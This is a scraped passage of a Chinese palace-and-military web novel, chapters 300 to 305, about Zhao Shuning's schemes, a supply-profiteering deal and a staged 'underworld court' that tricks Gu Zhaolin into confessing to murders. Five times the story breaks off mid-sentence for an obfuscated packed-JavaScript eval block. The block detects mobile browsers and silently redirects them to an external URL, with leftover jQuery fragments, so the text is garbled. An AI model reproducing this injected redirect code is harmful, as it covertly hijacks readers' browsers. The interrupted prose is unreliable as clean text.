哪怕赵书宁已经嫁为人妇,在谷兆麟眼中,也是稀释珍宝。 谷兆麟对她深情款款地表露了一番衷肠,他想看到赵书宁感动的模样。 赵书宁:…… 这种自以为是的自我感动,真的让人非常无语,甚至有些想笑。 但她不能得罪谷兆麟,自然不能像对楚翊安那般恶言恶语。 赵书宁低垂眉眼,掩去眸底的真实情绪。 “将军,这样的话,以后还请莫要再说了。我已嫁为人妇,实在担不起将军的厚爱。” 她不再称他少将军,而是直接改唤将军。 一字之差,却是对谷兆麟身份的认可。 第300章 谷兆麟心头的朱砂痣 他不再屈居人下,而是成了西平军真正的主人。 旁人都不曾改口,只有她率先换了称呼。 这小小的细节,谷兆麟没有忽略,越发觉得赵书宁处处都合她心意。 “书宁,这世上,除了你,无人担得起。” 赵书宁坚定地摇头,“多谢将军抬爱,但你我之间,注定不可能。” 谷兆麟又面色一沉,心头越发不甘。 “为何?难道事到如今,你还觉得我比不上楚翊安那个废物?” 赵书宁飞快在心中权衡了一番——这两人,不分伯仲,谁也没比谁强到哪儿去。 面上她半分不露声色,也没有正面回答这个问题。 “我是为了将军的声誉考虑。眼下正是将军**最关键的时候,若将军与我这个有夫之妇牵扯不清,你的名声受了损,此事恐生变故。” 谷兆麟听了这话,心头的火热稍稍冷静几分。 同时,又生出更深的感动。 她果然一心一意为自己着想,她的心里定然是有自己的。 “若楚翊安**,我们之间自然就没了阻碍。” 说这话时,谷兆麟的眼底闪过了一抹冷冷的杀意。 赵书宁心头一沉。 “万万不可。” 谷兆麟眸光倏而幽沉,“怎么,你还是舍不得他?” 舍不得他?不存在的。 她与楚翊安的感情,早就在先前那一桩桩一件件的变故中消磨殆尽了。 现在的她,眼里已然没了半分所谓情情爱爱,她只想往上爬。 所以,她需要宣平侯府少夫人的身份,也需要宣平侯府作跳板。 谷兆麟执掌了镇西军,也只可能留在西平,不可能回京城,她不会为了他留在西平这个苦寒之地。 繁花似锦的京城,才是她的归宿。 赵书宁抬眸直视他,“他若死在西平,而我又改嫁于你,旁人会如何想?没人是傻子。楚家势必不会善罢甘休,他们身在京城,若是要告御状,轻而易举。你只怕还没有机会辩解,谋害朝廷命官的罪名就落了下来。届时,苦心谋划的一切满盘皆输,将军甘心吗?” 谷兆麟再次一愣。 他方才根本没有考虑那么多,经赵书宁一提醒,他瞬间一个激灵,清醒过来。 若是要他为了赵书宁,舍弃现在唾手可得的一切,他做得到吗? 答案无疑是否定的。 他做不到。 他便是对赵书宁有再多的求而不得,也不足以与他的前程相比。 赵书宁将他的神色变化尽收眼底,她心中浮起一丝嘲讽。 果然,他的反应完全在自己的预料当中。 男人,总是嘴上说得好听,当真正触碰到自己利益的时候,才会露出本性。 赵书宁并没有感到失落,因为她早有预料。 男人的深情贱如狗,她半点都不稀罕。 她已经上过一次当,怎会再在同一个地方跌倒第二次? 眼下她还需要用到谷兆麟,所以才不得不忍着恶心与他演这一出戏。 她面露几分苦笑,“将军,你便是愿意为我做出这番牺牲,我也断然不会接受的。你的前程来得不易,不值得浪费在我的身上。” 她说完,便有些黯淡地垂下眼睑,不再看对方。 谷兆麟看着她那样的神色,觉得自己的心都要碎了,同时一股强烈的愧疚席卷全身。 书宁对他亦是有情的,只是,为了他的前途和未来,不得不压下情愫。 而他,已经没了方才那股奋不顾身,自己注定要负了她。 “书宁,我……” 赵书宁深吸一口气,打断了他,“不必多说了,我都懂。日后,将军还会遇到更多让你心动之人,我也会真心祝福你们。” 赵书宁的眸底带着恰到好处的黯淡,越发勾得谷兆麟满心愧疚。 她走后,谷兆麟呆坐许久,心中情绪久久难平。 而赵书宁一离开,脸上的表情就彻底换了,她唇角勾起一抹淡淡的不屑。 她方才不过略施小计,谷兆麟就完全被拿捏了,这男人果然愚蠢。 就算宣平侯府倾覆了,她也不会选择谷兆麟。 他得不到自己,就会对自己心心念念,可一旦得到了,他就会慢慢看到自己的不足,甚至反过来嫌弃自己二嫁之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465717|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身。 她想再拿捏对方,就不容易了。 现在,她永远是谷兆麟心头那颗朱砂痣。 日后,她只要有所求,对方定会答应。 赵书宁回到住处,发现来了一位不速之客。 是李成胜。 他们也算是老朋友了。 上次,西平发生疫病时,二人暗中合作过。 赵书宁为其牵线搭桥,向军中高价售卖了药材和粮食,赚取的利润二人瓜分。 但这桩买卖,因为太仓商行免费捐药捐粮而终止了。 而后,赵书宁又因治疫方子立下功劳,她怕事情败露影响了她的功劳,便当机立断,把与李成胜合作赚取的银子尽数退还,双方分道扬镳。 后来,西平发生疫病,李成胜派了聂管事两次入京向赵书宁传信,她这才提前得知西平情况,及时赶来。 赵书宁在西平的这段时日,李成胜一直没有找过她,彼此之间便似从不认识那般,赵书宁对此很满意,她并不想再与李成胜有瓜葛。 但今日,他却来了。 碧莹上前请罪,“奴婢想把人打发了,但他说有要事与您商量,不肯走,奴婢怕事情闹大了反倒不好,只得让他留下了。” 赵书宁微一颔首,让碧莹先下去了。 李成胜是生意人,他不会平白与人结仇,也不会故意得罪自己,不妨听听他想做什么。 李成胜生得十分富态,打扮得亦是十分富贵,见人先有三分笑,看上去很是圆滑。 “赵医女,好久不见,你越发光彩照人了。” 赵书宁也露出一抹笑,“李老爷见笑了。” 李成胜语气热络地恭维,“赵医女当真好本事,西平两次疫情,你都立下了功劳,实在是令在下佩服。” “当初第一次见面,我便知你并非池中之物,果然被我料中了。若非你我早年有些许交情,只怕我这粗鄙商人,都没有资格出现在赵医女跟前。” 赵书宁对对方的恭维只是笑了笑,她没有过多寒暄,直入主题。 “李老爷,你今日前来,是所为何事?” 总不能是专程为了恭维她两句。 第301章 骗我骗得好苦 李成胜立马便正了神色,“赵医女是爽快人,那我便也不兜圈子了。在下今日前来,是为了与赵医女再合作一笔生意。” 赵书宁不动声色,“什么生意?不妨说来听听。” “上次我们合作非常愉快,在下想与赵医女再次合作此事,不知你意下如何?” 赵书宁立马就明白了,他是想让赵书宁帮忙牵线搭桥,让他的商行为镇西军提供采购。 偌大的军队,每日的采购数目巨大,这其中的利润可想而知。 如此肥肉,早就被人瓜分干净了,岂是随随便便什么人都可以沾手的? 上次,若非城中有蝗灾,粮食和药物紧缺,凭赵书宁的本事,也办不成这件事。 李成胜尝到了甜头,而今,赵书宁又立了功劳,他掂量着赵书宁的话语权,又主动找上门来了。 商人逐利,果然不假。 真正能赚到大钱的商人,也都是嗅觉灵敏,反应迅速的人,而不是坐在那里,等着机会主动掉下来。 赵书宁脑中迅速转着,在心中掂量此事的可行性,以及自己能得到的好处。 银子谁不想要? 而对于此时的赵书宁来说,她最缺的也是银子。 有银子,可以办很多事情。 她心中已然有了权衡,但面上却半分不显。 “李老爷,你这是抬举我了,我不过一介区区女流,如何办得成这样的事?” 李成胜笑得谄媚,“赵医女莫要自谦,你是我见过的最有本事的女子。上次你都能把事情办成,这次定然也不在话下。” 赵书宁并不松口,“上次是天时地利人和,眼下,疫情已然平复,城中亦不缺粮缺药,你要横插一脚,实在高看我了。” 李成胜觑着赵书宁的神色,暗暗揣摩。 旋即笑道:“此事对旁人或许有些难,但对于赵医女来说定是手到擒来之事,端看你愿不愿意了。” 赵书宁没有说话。 李成胜又道:“若赵医女能把此事办成,上次咱们合作的那部分银子,在下会尽数退还。” 赵书宁闻言,眉目舒展了几分。 上次痛失巨款,她心中满是懊恼。 但为了避免事发受牵连,她才忍痛放弃。 而今,李成胜识趣地把银子还回来,赵书宁心中自然舒畅了。 李成胜擅察言观色,见她神色舒缓,立马便知此事有戏。 他趁势追击,“今后,这桩买卖的获利,我都会分三成给你。” 三成,已是十分慷慨,赵书宁估摸,这也是李成胜能给出的底线了。 她的确需要这笔银子,这桩买卖,她也心动了。 她终于松了口,“此事我或可一试,但究竟能否成功,我亦不敢保证。” 听了她这话,李成胜心中大石落了大半。 她敢应下,就说明此事大有成算。 二人又就此事具体事宜细细讨论了一番,离开时,李成胜的脸上都挂满了笑意,走路都带着风。 赵书宁坐在屋中,看着手中的银票,脸上挂着满意的笑。 李成胜的确是个干脆人,随身就带着银票,当场就把许诺的银子退还给了赵书宁。 他拿出如此诚意,赵书宁自是十分满意,对此桩买卖也愈发上心几分。 上次,她因为一些风吹草动就收手,时至今日,她野心大了,胆子也大了。 她不过是与人合作做生意罢了,又没有**放火,有什么不行的? 如今镇西军掌权之人是谷兆麟,他对自己正是心怀愧疚的时候,自己这时向他提出此事,他定然不会拒绝。 只要此事落定,她之后就能有源源不断的收入,她在京中谋划布局也能更加方便。 就在这时,房门被人从外面推开,赵书宁桌前的银票根本没来得及收,就被来人看了个一清二楚。 是楚翊安。 他身上的伤依旧没有痊愈,但他也没有继续躺着,而是开始在军中行走。 他不想当个睁眼瞎,至少,他要听听外面的动向。 李成胜来时,他刚好不在,以往,他起码还要大半日才会回来,没曾想今日回来得这般早。 赵书宁对这男人已经十分熟悉,他此时表情隐含怒意,方才只怕被他听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470791|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了去。 赵书宁半点不见慌乱,反倒开始大大方方地数钱。 楚翊安见她这副模样,面皮狠狠抽了抽,眼底更是闪过一抹隐忍的怒意。 “你就没有什么想对我说的吗?” 赵书宁语气不咸不淡,“你方才不是都听到了吗?” 她也是在诈他,想看看他究竟听到了多少。 她这副态度让楚翊安更加愤怒,“赵书宁,你竟早就与那商人勾结,干了那囤积居奇的勾当,你骗我骗得好苦!” 这个女人,在人前扮演着救苦救难的女神医形象,实际上却与奸商合谋,赚取暴利,她从一开始就贪婪虚伪,为达目的不择手段,她根本不配称之为医! 亏得当初,他还以为她品性高洁,满心满眼都是染了疫病的病患,简直是天底下最善良的女子。 而今,他方知自己的想法究竟有多可笑。 见他都听到了,赵书宁便也没有藏着掖着。 “我不过是想赚些银子罢了,这有何错?自古经商者不都是低买高卖,此乃再正常不过。真要论起来,陆知苒手底下的商行,做的哪一桩生意不是如此?” 她不提陆知苒还好,一提起,楚翊安心头便是一阵刺痛。 他就为了这么一个人,放弃了一心一意等着他的发妻,他简直有眼无珠! 楚翊安咬牙切齿,“你扪心自问,你们是正常的经商吗?那时西平城内忧外患,你们却只想赚取暴利,发国难财!你们有没有良心?” “良心是什么?能值多少钱?值得了那么多吗?” 她将手中那几张百两银票晃了晃。 “除了这些,今后我还会赚到更多的银子,有了银子,就能做很多事情。到你们宣平侯府走了一遭,我越发明白,银子是个好东西。” 这话暗含讽刺,楚翊安又羞又恼,面容一阵扭曲,“你简直利欲熏心!” 赵书宁诡辩,“我们的粮食和药材至少是完好的,当初也真正解了西平的燃眉之急。但太仓商行的药却是假冒的,若非如此,百姓的身体也不会出现问题,诱发现在的疫病。” 第302章 头顶绿草成荫 谎话说多了,自己都信以为真了。 她张口便给太仓商行扣下罪名,语气笃定,好似真相就是如此。 反正,千错万错,都是旁人的错,她绝对没有任何错。 楚翊安现在对她的话都有三分保留,他本能地觉得,陆知苒不是这样的人,也不会让自己的人做这样冒风险的事。 但他也没有争辩,只道:“你休要转移注意力,太仓商行如何,与我无关,但你的行径,却可能会牵扯侯府。此事暴露,皇上定会重罚!” 赵书宁反问,“事情我已经做了,你待如何?你这般正直正义,那你去揭发我啊。只要你敢,我便敬你是一条好汉。” 一句话,把楚翊安彻底堵住了,脸色也瞬间涨红。 他怒到了极致,又束手无策,那股憋屈和无力的感觉,叫他几乎炸裂。 赵书宁淡淡道:“既然不敢,就老老实实地把这些事咽回去,全当自己什么都不知道。此事闹开,于你我都没有半分好处。” 楚翊安的呼吸急促,双眸喷火地怒视对方。 半晌,他才从齿缝里挤出话来。 “赵书宁,你以往做过什么事,我可以既往不咎,但现在,请你好好看清自己的身份,我决不允许你再做出半分给宣平侯府抹黑之事!” 赵书宁:“我做的任何一件事,都是为了宣平侯府光耀门楣。” 楚翊安气笑了,“这话你自己听听,你信吗?方才你与那李老爷谋划的事,我都听了个一清二楚!” 赵书宁反问,“我们谋划的事有什么问题?我不过是与他合作经商罢了,我们凭本事做买卖,凭本事赚钱,对得起任何人。” 眼下局势稳定,他们可没有再发国难财。 镇西军本就需要供给,这笔买卖给谁不是给?与其给别人,不如给她,也算是肥水不流外人田。 谷兆麟会答应的。 楚翊安也想到了这一层,他的心中怒火烧得更旺。 “凭本事?你凭的是什么本事?是勾引人的本事吗?” 这话满含羞辱,赵书宁面色当即一沉。 “你嘴巴放干净些!” 楚翊安冷笑,“你敢做,还怕我说?你与那谷兆麟不清不楚,真以为我没长眼睛,看不到?” 赵书宁冷冷道:“我与他清清白白,对得起天地良心。有些人心是脏的,看什么都是脏的。” 楚翊安根本不信,“你们若当真清清白白,又怎会大半夜去找他,一待就是好几个时辰?” 赵书宁忍着厌烦,“我是与他商讨正事。” “什么正事?” 赵书宁并不想说,此事机密,多一个人知道,就多一份风险。 赵书宁对楚翊安并不信任,不会把后背无条件地交付给对方。 除非谷兆麟已然坐稳镇西军统帅的位置,不会再受到威胁。 “待时机合适,我自然会告诉你。” 她这话落在楚翊安的耳里,便是借口与推脱。 “什么时机?等到我头顶绿草成荫吗?” 赵书宁:“你要这么想,我也没办法!” 这话堵得楚翊安心口几乎呕血。 “赵书宁,你给我把话说清楚!” 任何一个男人,都不可能容忍得了这样的羞辱。 赵书宁心中却厌烦到了极致。 且不说她与谷兆麟并无半分逾矩,便是她当真红杏出墙,那又如何?为何男子可以纳妾,享齐人之福,女子就必须为男子守住贞洁? 当真好不公平。 但这样的话她懒得再说,与他争论,无异于对牛弹琴。 “我已经说得很清楚,我们清清白白,没有半分对不起你的地方。” 楚翊安咄咄逼人,“呵,那你究竟有什么筹码和底气,揽下那位李老爷所求之事?就凭你所谓的功劳?” 楚翊安根本不相信。 旁人不知,他可清楚得很,赵书宁所谓的功劳根本名不副实,她想要凭借这一点办成这件事,根本不可能。 上次她办成这件事,是因为当时西平城物资紧缺,现在西平城什么都不缺,她凭什么能办成这件事?凭什么让谷兆麟为她破例? 除了他们二人有苟且关系以外,楚翊安想不出其他理由。 这让他憋屈又愤怒。 赵书宁冷冷道:“你做不到的事,我未必做不到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470792|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要用你的水平来衡量我,也不要用那般龌龊的想法来揣度我,不是每个人都似你这般朝三暮四。” 自己窝囊,就以为所有人都没有本事,真是可笑。 “你……” 赵书宁除了诡辩,拿不出有说服力的解释,这让他更加笃定自己的猜测,脸色也越发难看。 赵书宁态度强势,分毫不退。 “这件事,不管你怎么想,我都会做。你若是当真为了侯府着想,就不要在这里无理取闹,把事情闹大了,对大家都没有任何好处。” 楚翊安还要再说些什么,赵书宁没给他机会。 “宣平侯府就是个空架子,没有银子打点,侯府永远不可能再上一步,你便是再清高,也得认这个事实。我做的一切,都是为了宣平侯府的未来。你继续与我内斗,于大家都没有任何好处,你好好想想吧。” 说完,赵书宁便不再理会他。 楚翊安立在原地,许是方才太过气愤,身上的伤口裂开了,他疼得面容阵阵扭曲。 他死死盯着赵书宁的背影,想说些什么,做些什么,但发现自己什么都做不了。 他管不了这个女人。 他也不可能为了找她晦气,故意搅黄这件事。 她方才有一句话说得没错,宣平侯府的确是个空架子,他们需要银子。 赵书宁的法子,的确可以弄到银子。 她赚到的银子,定要上交侯府,不然,自己定不饶她! 如此想着,楚翊安心头那口气这才顺畅几分。 他甩袖而去,赵书宁冷笑一声,不再理会。 夫妻二人各怀心思,互相提防。 赵书宁心中打定了主意,很快就开始行动。 第二日,她便找了谷兆麟,提了此事。 她有一张三寸不烂之舌,又洞悉人心,此时的时机亦恰到好处,谷兆麟很轻易就答应了。 赵书宁对他露出了一抹感激的笑。 “多谢将军。” 谷兆麟满脸温柔,“你我之间,不必言谢。今后,你有任何事,都可来寻我,只要你开口,我必全力以赴。” 赵书宁眸底顿时盛满了感动。 第303章 阎罗殿 谷兆麟做到做到,很快就将这件事安排了下去。 他眼下暂掌镇西军,这件事于他而言不过一桩微不足道的小事。 赵书宁向他开口,他心里很高兴,因为他有种被人需要的价值感。 这也让他尝到了权力的滋味。 若是以往,他哪儿有这个权力随随便便决定这件事? 而这还只是一件微不足道的小事,日后,镇西军真正归他掌管之时,他的手里就会有更多的权力。 李成胜主要经营的也是药材生意,从今以后,镇西军所需的药材便都由他供给。 至于原本的药材商被抢了生意之后会如何,无人在意。 当下,谷兆麟只想做一件事,那就是把京中来的人送走。 最近,军中一直在加紧清点伤亡人数,如何抚恤,如何请功,都应整理成奏折,上禀朝廷。 只要此间事宜梳理好,任宗平就要回京复命。 谷兆麟在折子里毫不保留地为赵书宁请功,这是他能为赵书宁做的为数不多的事。 许是这段时日的操劳,谷兆麟觉得身子隐隐有些不适,但他并未在意。 他年富力强,即便身子偶有不适,也只是小问题,不足为虑。 终于,一应诸事都料理好,任宗平一行准备启程返京。 谷兆麟立马命人准备宴席,为任宗平等京中官员饯行。 若能顺利把他们送走,谷兆麟就能松口气。 谷兆麟有意讨好任宗平,是以这场宴席办得甚是重大。 楚翊安亦在其列。 他看着谷兆麟与任宗平推杯换盏,又对其百般奉承讨好,只觉鄙夷不屑。 此人能力平平,若非运气好,得镇西将军收养,他岂能有这样的造化? 赵书宁果然已经把与李老板的交易办成,楚翊安想到这其中谷兆麟发挥的作用,以及他与赵书宁可能会有的瓜葛交易,他的脸色就越发难看。 但他不能把此事戳破,他只能忍着。 想喝酒发泄,但身上有伤,他只能一杯杯地给自己灌茶水,压下自己心中的怒火。 不知为何,他觉得自己的脑袋竟似有些昏沉。 他喝的明明是茶,为何会有醉酒的错觉? 他看向四周,这才发现,周围不少人已然趴在桌上,人事不省了! 楚翊安瞬间一个激灵,意识到发生了些什么。 他运功,想要把体内的毒素逼出来,但越是运功,反倒越发眩晕,他强撑了几息,终于撑不下去,整个人都彻底失去了对身体的掌控。 究竟是谁对他下毒?是谷兆麟吗? 此时的谷兆麟,也趴在桌上,人事不省。 不知过了多久,他的鼻尖嗅到了一股奇特的味道,他眼皮微动,混沌的脑子一点点慢慢清醒了过来。 这个时候,谷兆麟才发现,自己被绑在了一根柱子上,动弹不得。 他努力睁大眼睛,待看清周遭的一切,顿时吓得脸色剧变。 殿内漂浮着惨绿的鬼火,忽明忽暗,照出地上的森森白骨,仿佛无数蹲伏的恶鬼。 阴风阵阵,卷着纸钱灰烬在空中盘旋。 谷兆麟惊叫出声,紧接着,裤裆上一阵湿热,一股尿骚味在空中弥漫。 “救命,来人,快,快救命啊!” 一道威严的声音传来,“大胆,是何人这般喧哗?” 谷兆麟惨白着脸抬头,这才看到正前方赫然坐着一个身着玄衣的判官,他脸上画着鬼魅的图案,一双眸子锐利如鹰隼。 这,这到底是什么人?什么地方? 谷兆麟浑身发颤,心中升起了一股十分可怕的猜测。 这,难道是阴曹地府? 一个素袍垂地,吐舌三尺的人出现在他左侧,声音阴恻。 “回阎王,此乃谷兆麟,原姓何,六岁丧双亲,被镇西将军谷栖山收养,时年二十有一。” 阎王:“因何身死?” 另一个身着玄衣,铁面虬髯的人出现在他右侧,声音同样森冷。 “**身亡。” 谷兆麟见到他们,又听得这番对话,脑袋都要炸了。 这竟真的是阴曹地府! 他竟然**,是**死的,谁给他下毒? 他不甘心地问,“是何人给我下毒?” 阎王淡淡瞥他,“你已经身死,前尘往事便不必深究。” “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477220|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘心!便是死,我也要做一个明白鬼!” 阎王蹙眉,但还是开了口。 “害你之人,名唤赵书宁也。” 谷兆麟听了这个答案,如遭雷击。 “这不可能!她不可能害我!” 阎王沉声呵斥,“你不过是个不值一提的无名小鬼,值得本王骗你?近些时日,你是否感觉偶有不适?彼时你便已**,只是你不自知罢了。现你既然已死,便送去奈何桥,早日投胎吧。” 谷兆麟依旧震惊,没有回过神来。 这个真相,甚至比他方才得知自己**的震撼更大! 他有种被人闷头打了一棍的懵然,旋即升起的便是一股难以抑制的愤怒。 为什么? 赵书宁为什么要这么对自己? 自己对他一往情深,对她有求必应,还替她写折子请功,她为何要害自己? 她的心难道是黑的吗? 谷兆麟还在愤怒,就听白无常道:“阎王,此子有罪孽在身,是否入畜生道?” 谷兆麟听了这话,被愤怒冲昏的脑子一个激灵,瞬间清醒了。 阎王手持生死簿,朱笔勾画间,便可定下来世命运。 他若当真入了畜生道,下辈子就完了。 他高声大喊,“冤枉,阎,阎王大人,我冤枉!我乃镇西将军养子,一直驻守西平,守卫百姓安宁,怎,怎会有罪孽?” 阎王蹙眉,“怎么回事?莫不是你们弄错了?” 黑无常翻看着手中的册子,“回阎王,此子给士兵下了蛊毒,戕害士兵上万人。而后又设计弑杀养父,乃不忠不孝之徒。” 谷兆麟闻言,面色惨白,额上冷汗不止。 他想要狡辩,但对上阎王那森然目光,顿觉舌上如有千斤重。 这时,殿内忽然有一阵冷风吹来,殿内烛火摇曳,紧接着,便是一阵呜呜的风鸣,似万鬼鸣冤。 阎王不悦,“怎么回事?” 很快有鬼差上前回禀,“回阎王,是谷兆麟生前害死的冤魂,他们怨气太重,一直不肯投胎,他们得知谷兆麟下了地府,便欲到阎王跟前告状,要让他下十八层地狱,永世不得超生。” 第304章 罪魁祸首是赵书宁 “区区小鬼,你们都管不住?要你们何用?” 那鬼差跪下请罪,“为首的鬼是谷栖山,他生前守护西平百姓,功德深厚,我等压不住他。” 阎王听了这话,这才松口,让他们上来。 谷兆麟听了这话,身子顿时抖如筛糠,一股更加强烈的惊恐袭上心头,叫他牙关都不禁开始打颤。 他从未想过,自己竟能在阴曹地府见到义父。 很快,一群冤魂便入了殿内。 他们身上穿着带血的战袍,头脸上也都是血,眼神空洞呆滞,直勾勾地看着谷兆麟。 而为首的,赫然是谷栖山。 他的铠甲上同样沾满了血,唇角和眼睛也有鲜血淌出,对上他的目光,谷兆麟再次本能地开始颤抖。 而他的身后,竟是戈叙白,还有萧晏辞。 他们也**。 “义,义父……” 谷栖山缓缓开口,声音饱含怒意。 “逆子!我待你不薄,你竟勾结羌笛人,害我死无全尸,你当真是狼心狗肺,猪狗不如!” 戈叙白也幽幽开口,“我把你当兄弟,你却视我为仇敌,派人暗算,害我性命,我死得好不甘!” 萧晏辞也道:“本王乃皇子龙孙,身份贵不可言,你竟狗胆包天,害本王坠崖身亡,简直罪该万死。” 他们身后的冤魂纷纷开口,控诉他的罪责,谷兆麟耳边嗡鸣,舌头僵直,根本说不出辩解的话。 阎王沉着脸,气势威压,“谷兆麟,你心思歹毒,罪孽深重,罄竹难书!来人,将他押下去,上刀山,下火海,待刑满九九八十一遍,再下十八层地狱,永世不得超生!” 立马有鬼差上前,将他从柱子上放下,欲将他押走。 谷兆麟终于回过神来,高声大喊,“阎王饶命!我,我是冤枉的,这些事都不是我做的啊!” 阎王满脸怒容,高声怒喝。 “你生前罪状都一一呈现在本王的生死簿上,你还想狡辩?当真是死不悔改!” 谷兆麟痛哭流涕,“我没有说谎,我是受人指使,才犯下这番糊涂事,我就算有罪,也罪不至下十八层地狱啊!” 他已经被完全吓破了胆。 眼下的场景已然足够吓人,下十八层地狱,自己又要经受怎样的折磨? 他根本不敢想象。 “是何人指使?” 谷兆麟眼底带着恨意,“是赵书宁,一切都是她指使的!当初,她到了西平,急于平复疫情,立下功劳,但她却无良方,便想出蛊术这样的歪主意……” “也是她说,要把中蛊之人**灭口,以免事情败露,所以我才趁势把那些士兵在战场上除掉。诸位袍泽,你们要找人报仇就找她,她才是罪魁祸首!” “义父的死,也是赵书宁出的主意。义父带回来了一个医女,威胁到了她的利益,她想除掉那医女,又担心义父追查,就提议把义父一并除掉,永绝后患。” “那些主意都是她出的,义父,你知道我的,我没有这个脑子,能想出这样的主意,都是赵书宁出的主意,我是一时鬼迷了心窍,这才听信了她的话,做出这样的事。” 戈叙白冷冷地看着他,“那我呢?我的死,你又要如何解释?” 谷兆麟连忙否认,“你不是我杀的。我上次带回去的那颗脑袋,其实是假的,我只是找了个容貌相似的人,借此机会为自己扬名罢了。你的死真的与我无关。” 戈叙白幽幽道:“我是死在断云山上,有人在我背后放冷箭,那箭上有蚀筋软玉散,我**之后浑身无力,这才身死。那在背后放冷箭之人,难道不是你派的吗?” 萧晏辞也跟着道:“本王也是遭到了背后冷箭袭击,这才坠崖身亡。这其中,难道没有你的手笔?” 谷兆麟连连摇头,“不,不是我,不是我安排的,是楚翊安!是他在背后放的冷箭,他箭上的蚀筋软玉散都是赵书宁给的,她手里很多这种旁门左道的东西。冤有头债有主,这一切都是他们夫妇二人做的,你们要索命就去找他们,不要找我啊!” 萧晏辞没有再开口。 阎王威严的声音再次传来,“你可有证据?你若是拿不出证据,那便是污蔑,合该罪加一等。” 谷兆麟认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477221|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真回想,这个时候他才发现,自己根本拿不出证据。 赵书宁行事谨慎,轻易不会留下把柄。 他脑中飞快转着,最后终于想到了一茬儿。 “我想起来了,我见过她的蛊虫,在一个翠绿色的宝石机括里。后来我瞧见她重新打了一个簪子,那上面镶嵌的宝石正是翠绿色的,与那养蛊的小机括一模一样。她定是把那蛊虫镶在了上面,只要派人去查一查她的簪子,自然就能知道真假。” 他的脑子简直从来没有这么清醒过。 之所以注意到赵书宁的簪子,是因为她打扮一直很朴素,发饰也不多,所以她第一次戴上那只簪子,谷兆麟就注意到了。 但谷兆麟嫌那簪子上的宝石太大太俗气,便为她重新打了一支,赠与了她,却被赵书宁婉拒了。 她说:“这枚簪子对我来说至关重要,我不会取下它。” 谷兆麟当时听了这话,很不高兴。 他以为那是楚翊安相赠,方才苦思之下,终于有了联想。 他心中其实依旧不能完全确定,但他却说得笃定。 万一,真的被自己说中了呢? “她的婢女肯定知道内幕,还有最近她向我推荐了一个经商的李老板,他们有旧交,说不定这个李老板手里也有她的把柄!” 谷兆麟把自己能想到的,一股脑全都倒了出来。 阎王又对他拷问了一番,谷兆麟实在说不出其他有用的东西,这才作罢。 谷兆麟一脸哀求地看着阎王,“我方才所言句句属实,我真的是冤枉的,请阎王高抬贵手,莫要让我下十八层地狱。哪怕让我入畜生道都好啊!” 有了十八层地狱的严酷对比,谷兆麟已经觉得畜生道是再好不过的归属了。 阎王看了谷栖山一眼,谷栖山朝他微微颔首,他这才开口。 “你方才所言,在场所有人都听得一清二楚,我无权处置你的生死,一切,便尽数上禀皇上,交由皇上裁夺吧。” 谷兆麟愣住,皇上?什么皇上?这阎罗殿里也有皇上吗? 正这般想,大殿内灯光倏而照亮。 第305章 是人是鬼? 谷兆麟眼睛被晃了一下,待适应了光线,看清了周遭的一切,他再次瞪大了眼,一股寒意自脚底往上蹿。 这里,哪是什么阎王殿,分明就是早先宴客的大殿,只是他的视线所及处,是特意拉起的黑布,那上面画着光怪陆离的图案,在“鬼火”的映照下,便显出阴森与鬼魅。 此时,殿内的烛火亮起,黑布撤下,一切假象都被打回原形,他所看到的骷髅头,也都是假的。 